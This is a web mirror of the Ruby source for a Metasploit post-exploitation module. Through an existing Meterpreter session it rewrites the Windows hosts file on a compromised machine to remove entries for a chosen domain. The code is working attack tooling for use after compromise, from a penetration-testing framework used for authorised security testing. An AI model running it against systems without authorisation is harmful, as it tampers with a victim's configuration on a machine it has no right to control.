CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/manage/remove_host.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
8
def initialize(info = {})
9
super(
10
update_info(
11
info,
12
'Name' => 'Windows Manage Host File Entry Removal',
13
'Description' => %q{
14
This module allows the attacker to remove an entry from the Windows hosts file.
15
},
16
'License' => BSD_LICENSE,
17
'Author' => [ 'vt <nick.freeman[at]security-assessment.com>'],
18
'Platform' => [ 'win' ],
19
'SessionTypes' => [ 'meterpreter' ],
20
'Compat' => {
21
'Meterpreter' => {
22
'Commands' => %w[
23
core_channel_close
24
core_channel_eof
25
core_channel_open
26
core_channel_read
27
core_channel_tell
28
core_channel_write
29
]
30
}
31
}
32
)
33
)
34
35
register_options(
36
[
37
OptString.new('DOMAIN', [ true, 'Domain name to remove from the hosts file.' ])
38
]
39
)
40
end
41
42
def run
43
hosttoremove = datastore['DOMAIN']
44
# remove hostname from hosts file
45
fd = client.fs.file.new('C:\\WINDOWS\\System32\\drivers\\etc\\hosts', 'r+b')
46
47
# Get a temporary file path
48
meterp_temp = Tempfile.new('meterp')
49
meterp_temp.binmode
50
temp_path = meterp_temp.path
51
52
print_status("Removing hosts file entry pointing to #{hosttoremove}")
53
54
newfile = ''
55
fdray = fd.read.split("\r\n")
56
57
fdray.each do |line|
58
unless line.match("\t#{hosttoremove}$")
59
newfile += "#{line}\r\n"
60
end
61
end
62
63
fd.close
64
65
meterp_temp.write(newfile)
66
meterp_temp.close
67
68
client.fs.file.upload_file('C:\\WINDOWS\\System32\\drivers\\etc\\hosts', meterp_temp)
69
print_good('Done!')
70
end
71
end
72
73